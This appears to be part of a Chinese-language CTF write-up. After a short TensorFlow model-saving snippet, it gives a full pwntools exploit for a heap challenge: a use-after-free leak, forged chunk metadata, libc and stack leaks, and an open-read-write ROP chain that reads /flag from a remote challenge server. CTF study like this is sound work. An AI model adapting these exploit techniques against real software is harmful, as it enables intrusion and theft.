# 保存 Module，并显式把 "serve" signature 写入
class ModelModule(tf.Module):
    @tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
    def __call__(self, x):
        return serve_fn(x)

module = ModelModule()
tf.saved_model.save(module, OUT_DIR, signatures={"serve": serve_fn, "noop": noop_fn})

# 打包为 zip
with zipfile.ZipFile(ZIP_PATH, "w", compression=zipfile.ZIP_DEFLATED) as zf:
    for root, dirs, files in os.walk(OUT_DIR):
        for fname in files:
            full = os.path.join(root, fname)
            arcname = os.path.relpath(full, OUT_DIR)
            zf.write(full, arcname)

print("SavedModel saved to:", OUT_DIR)
print("Zipped to:", ZIP_PATH)

Pwn

malloc

1. 利用 UAF 漏洞泄露 ELF 基地址
2. 篡改堆元数据实现任意地址读写
3. 泄露 libc 基地址和栈地址
4. 构造 ORW (Open-Read-Write) 链读取 flag

from pwn import *
import time

# 配置日志级别为调试模式，显示详细交互信息
context.update(log_level="debug", arch="amd64")

class ExploitHandler:
    def __init__(self, binary_path, remote_host, remote_port):
        """初始化漏洞利用环境"""
        self.binary = ELF(binary_path)
        self.libc = ELF("./libc.so.6")
        self.process = self._connect_to_target(remote_host, remote_port)
        self.elf_base = None
        self.libc_base = None
        self.stack_addr = None

    def _connect_to_target(self, host, port):
        """建立与目标的连接（本地或远程）"""
        # 本地调试时使用以下行
        # return self.binary.process()
        return remote(host, port)

    def debug(self):
        """启用调试模式，附加GDB调试器"""
        pause()
        gdb.attach(self.process)
        time.sleep(2)

    # 堆操作封装
    def create_chunk(self, index, size):
        """创建新堆块"""
        self.process.sendlineafter(b"5:exit", b"1")
        self.process.sendlineafter(b"Index", str(index).encode())
        self.process.sendlineafter(b"size", str(size).encode())

    def release_chunk(self, index):
        """释放指定索引的堆块"""
        self.process.sendlineafter(b"5:exit", b"2")
        self.process.sendlineafter(b"Index", str(index).encode())

    def update_chunk(self, index, size, content):
        """修改堆块内容"""
        self.process.sendlineafter(b"5:exit", b"3")
        self.process.sendlineafter(b"Index", str(index).encode())
        self.process.sendlineafter(b"size", str(size).encode())
        self.process.send(content)

    def inspect_chunk(self, index):
        """查看堆块内容"""
        self.process.sendlineafter(b"5:exit", b"4")
        self.process.sendlineafter(b"Index", str(index).encode())

    def leak_elf_base(self):
        """通过UAF漏洞泄露ELF基地址"""
        # 释放堆块并触发UAF
        self.release_chunk(2)
        self.release_chunk(1)
        self.inspect_chunk(1)
        time.sleep(0.1)  # 等待数据接收完整
        
        # 解析泄露数据计算基地址
        leak_data = self.process.recvuntil(b"\nSuccess\n", drop=True)
        self.elf_base = u64(leak_data[-6:].ljust(8, b"\x00")) - 0x52a0
        log.success(f"ELF base address: {hex(self.elf_base)}")

    def corrupt_heap_metadata(self):
        """构造伪造的堆元数据，进行堆劫持"""
        fake_chunk = (
            p64(0) * 3  # 填充数据
            + p64(0x80)  # 伪造size
            + p64(self.elf_base + 0x5200 + 0x1010)  # 伪造fd指针
        )
        self.update_chunk(0, len(fake_chunk), fake_chunk)
        
        # 重新分配堆块应用伪造的元数据
        self.create_chunk(3, 0x70)
        self.create_chunk(3, 0x70)

    def leak_libc_and_stack(self):
        """泄露libc基地址和栈地址"""
        # 泄露libc基地址
        self.update_chunk(3, 8, p64(self.binary.got["puts"]))
        self.inspect_chunk(4)
        libc_leak = self.process.recvuntil(b"\nSuccess\n", drop=True)
        self.libc_base = u64(libc_leak[-6:].ljust(8, b"\x00")) - self.libc.sym["puts"]
        self.libc.address = self.libc_base  # 设置libc基地址
        
        # 泄露栈地址
        self.update_chunk(3, 8, p64(self.libc.sym["environ"]))
        self.inspect_chunk(4)
        stack_leak = self.process.recvuntil(b"\x7f")
        self.stack_addr = u64(stack_leak[-6:].ljust(8, b"\x00")) - 0x140
        
        # 输出关键地址信息
        log.success(f"Libc base address: {hex(self.libc_base)}")
        log.success(f"Stack edit address: {hex(self.stack_addr)}")

    def prepare_flag_path_and_rop(self):
        """准备flag路径和ROP链"""
        self.create_chunk(4, 0x70)
        
        # 设置flag路径存储
        self.update_chunk(3, 8, p64(self.elf_base + 0x62a0))
        self.update_chunk(4, 0x8, p64(0x100))
        self.update_chunk(3, 0x10, p64(self.stack_addr) + b"/flag\x00\x00\x00")

        # 构建ORW(Open-Read-Write)ROP链
        flag_path_address = self.elf_base + 0x6228
        buffer_address = self.elf_base + 0x40C0 + 0x500
        
        # ROP Gadgets
        pop_rdi = self.libc_base + 0x000000000002a3e5
        pop_rsi = self.libc_base + 0x000000000002be51
        pop_rdx_rbx = self.libc_base + 0x00000000000904a9

        # 构建ROP链
        rop_chain = b""
        # 1. 打开文件: open("/flag", 0)
        rop_chain += p64(pop_rdi) + p64(flag_path_address)
        rop_chain += p64(pop_rsi) + p64(0)
        rop_chain += p64(self.libc.sym["open"])
        
        # 2. 读取文件内容: read(3, buffer, 0x50)
        rop_chain += p64(pop_rdi) + p64(3)  # 文件描述符
        rop_chain += p64(pop_rsi) + p64(buffer_address)  # 缓冲区
        rop_chain += p64(pop_rdx_rbx) + p64(0x50) + p64(0x50)  # 长度
        rop_chain += p64(self.libc.sym["read"])
        
        # 3. 输出文件内容: write(1, buffer)
        rop_chain += p64(pop_rdi) + p64(1)  # 标准输出
        rop_chain += p64(self.libc.sym["write"])

        # 写入ROP链
        self.update_chunk(4, len(rop_chain), rop_chain)

    def execute_exploit(self):
        """执行完整的漏洞利用流程"""
        # 初始堆布局设置
        self.create_chunk(0, 0x10)
        self.create_chunk(1, 0x70)
        self.create_chunk(2, 0x70)
        self.create_chunk(0x10, 0x10)
        
        # 主要漏洞利用步骤
        self.leak_elf_base()
        self.corrupt_heap_metadata()
        self.leak_libc_and_stack()
        self.prepare_flag_path_and_rop()
        
        # 进入交互模式获取结果
        self.process.interactive()

if __name__ == "__main__":
    # 初始化漏洞利用器并执行
    exploit = ExploitHandler(
        binary_path="./pwn",
        remote_host="45.40.247.139",
        remote_port=25970
    )
    # 调试时取消注释
    # exploit.debug()
    exploit.execute_exploit()